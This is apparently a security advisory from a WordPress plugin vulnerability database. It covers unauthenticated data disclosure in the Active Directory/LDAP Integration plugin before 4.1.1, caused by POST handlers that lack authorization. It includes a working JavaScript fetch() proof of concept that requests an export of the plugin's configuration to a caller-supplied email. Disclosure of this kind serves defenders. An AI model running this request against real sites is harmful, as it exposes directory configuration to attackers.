WordPress Plugin Vulnerabilities

Active Directory Integration / LDAP Integration < 4.1.1 - Unauthenticated Data Disclosure

Description

The plugin does not have proper authorization or nonce values for some POST requests, leading to unauthenticated data disclosure.

In version 4.1.0 a nonce check was added to the request, but it still lacked authorization.

Proof of Concept

The `admin_init` hook calls MoLdapLocalLogin class login_widget_save_options() method where there are some post request handlers without authorization.

Exploit:

fetch('/wp-admin/admin-post.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'option=mo_ldap_login_send_query&export_configuration_choice=yes&inner_form_email_id=admin@localhost.org&inner_form_query_id=test',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

Affects Plugins

References

Classification

Type
SENSITIVE DATA DISCLOSURE
CWE

Miscellaneous

Original Researcher
Lana Codes
Submitter
Lana Codes
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-04-19 (about 1 years ago)
Added
2023-04-19 (about 1 years ago)
Last Updated
2023-04-19 (about 1 years ago)

Other